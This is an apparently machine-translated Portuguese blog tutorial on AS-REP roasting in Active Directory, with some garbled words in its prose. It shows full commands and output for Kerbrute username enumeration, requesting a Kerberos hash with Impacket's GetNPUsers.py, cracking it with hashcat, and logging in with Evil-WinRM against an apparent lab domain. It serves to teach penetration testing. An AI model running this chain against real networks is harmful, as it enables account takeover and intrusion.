Tecnica Hacker

Bilhetes para Quering and Cracking Kerberos!

Um Bilhete Por favor!

O que é Kerberos?

Kerberos é um protocolo de autenticação usado (normalmente) dentro de um ambiente de diretório ativo para provar a identidade de um dispositivo ao acessar recursos baseados em rede, como SMB, LDAP ou outros protocolos de rede. Legal, então thatilits como Kerberos funciona, agora como podemos quebrá-lo? Boa pergunta, caro leitor! Kerberos é um protocolo super abusável. O iHotell estará mostrando a você um vetor de ataque hoje que lhe dará acesso a uma conta de usuário, e tudo o que você precisa fazer é saber o nome de usuário (e a conta de usuário deve ter a Pré-Autenticação ativada… Mas isso está fora de nosso controle)!

Ferramentas

Primeiro, você precisará Empacotamento baixado em seu sistema.

┌─[root@Sp00kyS3c]─[~]
└──╼ #git clone https://github.com/SecureAuthCorp/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 16908 (delta 2), reused 6 (delta 2), pack-reused 16892
Receiving objects: 100% (16908/16908), 5.57 MiB | 8.81 MiB/s, done.
Resolving deltas: 100% (12911/12911), done.
┌─[root@MrS1n1st3r]─[~]
└──╼ #cd impacket/examples/
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #ls 
atexec.py    esentutl.py    GetNPUsers.py  getTGT.py       ifmap.py       lookupsid.py   mssqlclient.py    nmapAnswerMachine.py  opdump.py  psexec.py      registry-read.py  sambaPipe.py    services.py   smbrelayx.py  sniff.py     wmiexec.py
dcomexec.py  GetADUsers.py  getPac.py      GetUserSPNs.py  karmaSMB.py    mimikatz.py    mssqlinstance.py  ntfs-read.py          ping6.py   raiseChild.py  reg.py            samrdump.py     smbclient.py  smbserver.py  split.py     wmipersist.py
dpapi.py     getArch.py     getST.py       goldenPac.py    kintercept.py  mqtt_check.py  netview.py        ntlmrelayx.py         ping.py    rdp_check.py   rpcdump.py        secretsdump.py  smbexec.py    sniffer.py    ticketer.py  wmiquery.py
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #

Depois que você chegou a clonar o repositório Impacket, você está praticamente pronto para ir. O impacket/examples pasta é onde você estará trabalhando principalmente. Nesta pasta, ele contém todas as principais ferramentas que você precisará usar para abuso de protocolo de rede. Dentro das outras pastas no impacket diretório, existem outras ferramentas que são necessárias para fazê-lo funcionar. Então, não se preocupe muito com as outras pastas, como você estará trabalhando dentro da pasta de exemplos para a maior parte!

Em seguida, weilitll usar uma ferramenta chamada Kerbrute para forçar brutalmente os usuários na caixa

┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #wget https://github.com/ropnop/kerbrute/releases/download/v1.0.2/kerbrute_linux_amd64 -O kerbrute
<Snip>
2019-11-17 16:17:05 (7.95 MB/s) - ‘kerbrute’ saved [7831686/7831686]

┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #chmod +x kerbrute 
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #./kerbrute 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.2 (fd5f345) - 11/17/19 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist (use - for stdin)
  help          Help about any command
  passwordspray Test a single password against a list of users (use - for stdin)
  userenum      Enumerate valid domain usernames via Kerberos from a list (use - for stdin)
  version       Display version info and quit

Flags:
      --dc string       The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
  -d, --domain string   The full domain to use (e.g. contoso.com)
  -h, --help            help for kerbrute
  -o, --output string   File to write logs to. Optional.
      --safe            Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int     Threads to use (default 10)
  -v, --verbose         Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

Tudo bem, então vamos usar as duas ferramentas que baixamos, Kerbrute e GetNPUsers.py dentro do impacket para puxar uma conta de usuário, solicitar um ticket Kerberos e quebrar o hash para finalmente revelar a senha da conta de usuário e ganhar uma posição dentro da rede do Active Directory!

Bruto Forçando Usuários

┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #./kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d spookysec.local --dc 10.10.13.37

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.2 (fd5f345) - 11/17/19 - Ronnie Flathers @ropnop

2019/11/17 16:20:11 >  Using KDC(s):
2019/11/17 16:20:11 >   10.10.13.37:88

2019/11/17 16:20:11 >  [+] VALID USERNAME:       mark@spookysec.local
2019/11/17 16:20:11 >  [+] VALID USERNAME:       molly@spookysec.local
2019/11/17 16:20:12 >  [+] VALID USERNAME:       ashu@spookysec.local
2019/11/17 16:20:13 >  [+] VALID USERNAME:       dark@spookysec.local
2019/11/17 16:20:16 >  [+] VALID USERNAME:       dan@spookysec.local
2019/11/17 16:20:23 >  [+] VALID USERNAME:       administrator@spookysec.local
2019/11/17 16:20:27 >  [+] VALID USERNAME:       svc-demo@spookysec.local
2019/11/17 16:20:55 >  [+] VALID USERNAME:       sebastian@spookysec.local
2019/11/17 16:22:23 >  [+] VALID USERNAME:       santiago@spookysec.local
2019/11/17 16:22:35 >  [+] VALID USERNAME:       lucy@spookysec.local
2019/11/17 16:23:00 >  [+] VALID USERNAME:       lily@spookysec.local
2019/11/17 16:24:55 >  Done! Tested 8295455 usernames (11 valid) in 4 minutes

Revisando a saída, podemos ver que temos um punhado de usuários que podemos fazer o checkout. Existem vários usuários que devemos verificar imediatamente, Administrador e svc-demo. Isso provavelmente será uma conta de serviço não mantida com altos privilégios que poderíamos usar para ganhar uma posição na rede.

Agora podemos mudar para o impacket e dar uma olhada no GetNPUsers.py, aqui poderemos solicitar um Ticket para a conta de demonstração de svc e esperamos poder quebrar a senha do ticket!

Consultando um bilhete Kerberos

┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #./GetNPUsers.py spookysec.local/svc-demo -request -no-pass -dc-ip 10.10.13.37
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for svc-demo
$krb5asrep$23$svc-demo@SPOOKYSEC.LOCAL:f1806292678070 <Snip!> 111f279122d10104b0cfe92c45dcca7eddf45d72eed33437a878b2e68cd844e5c5fd59fb2c72701db5a73ad18bf

Cracking Hashes

Lindo! Agora podemos enviá-lo para um arquivo e jogá-lo no Hashcat, usaremos o modo 18200 (para este ticket Kerberos específico)

Dependendo da versão do SO, da configuração do Active Directory, seu ticket Kerberos pode ser diferente. Você pode precisar de um modo diferente. Você pode ver todos eles aqui, sob o Exemplo Hashcat Hashes Página

┌─[✗]─[root@Sp00kyS3c]─[~/hashcat]
└──╼ #hashcat -a 0 -m 18200 ./ticket /usr/share/wordlists/rockyou.txt 
hashcat (v5.1.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1070, 2029/8116 MB allocatable, 15MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

$krb5asrep$23$svc-demo@SPOOKYSEC.LOCAL:f1806292678070 <Snip!> 111f279122d10104b0cfe92c45dcca7eddf45d72eed33437a878b2e68cd844e5c5fd59fb2c72701db5a73ad18bf:Sup3rS3cr3tP4ssw0rd!
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$svc-demo@SPOOKYSEC.LOCAL:f1806292678070...bffc41
Time.Started.....: Sun Nov 17 16:38:47 2019 (1 sec)
Time.Estimated...: Sun Nov 17 16:38:48 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  9757.1 kH/s (6.50ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4423680/14344385 (30.84%)
Rejected.........: 0/4423680 (0.00%)
Restore.Point....: 3932160/14344385 (27.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: seaford123 -> raain
Hardware.Mon.#1..: Temp: 41c Fan:  0% Util: 10% Core:1949MHz Mem:3802MHz Bus:16

Started: Sun Nov 17 16:38:45 2019
Stopped: Sun Nov 17 16:38:48 2019

Muito rapidamente nós quebramos a senha das contas de usuário. Se o RDP, WinRM ou SMB estiver aberto, agora podemos autenticar cada serviço com a senha da conta de usuário quebrada!

Ganhando Acesso com o Evil-WinRM

Evil-WinRM é um utilitário de acesso remoto que tira proveito da ferramenta de Gerenciamento Remoto do Windows, é super legal e super útil, pois lhe dará uma sessão powershell diretamente na caixa.

┌─[✗]─[root@Sp00kyS3c]─[~/hashcat]
└──╼ #gem install evil-winrm
Happy hacking! :)
Successfully installed evil-winrm-1.9
Parsing documentation for evil-winrm-1.9
Done installing documentation for evil-winrm after 5 seconds
1 gem installed

┌─[root@Sp00kyS3c]─[~/hashcat]
└──╼ #evil-winrm -i 10.10.13.37 -u svc-demo
Enter Password: Sup3rS3cr3tP4ssw0rd!

Evil-WinRM shell v1.9

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-demo\Documents> whoami
spookysec\svc-demo
*Evil-WinRM* PS C:\Users\svc-demo\Documents> 

E sucesso! Agora temos uma posição no domínio! Há uma tonelada de ataques que podemos fazer a partir daqui, no entanto, há um post diferente para outro dia!

Comentários

Feito com 💚

Deixe um comentário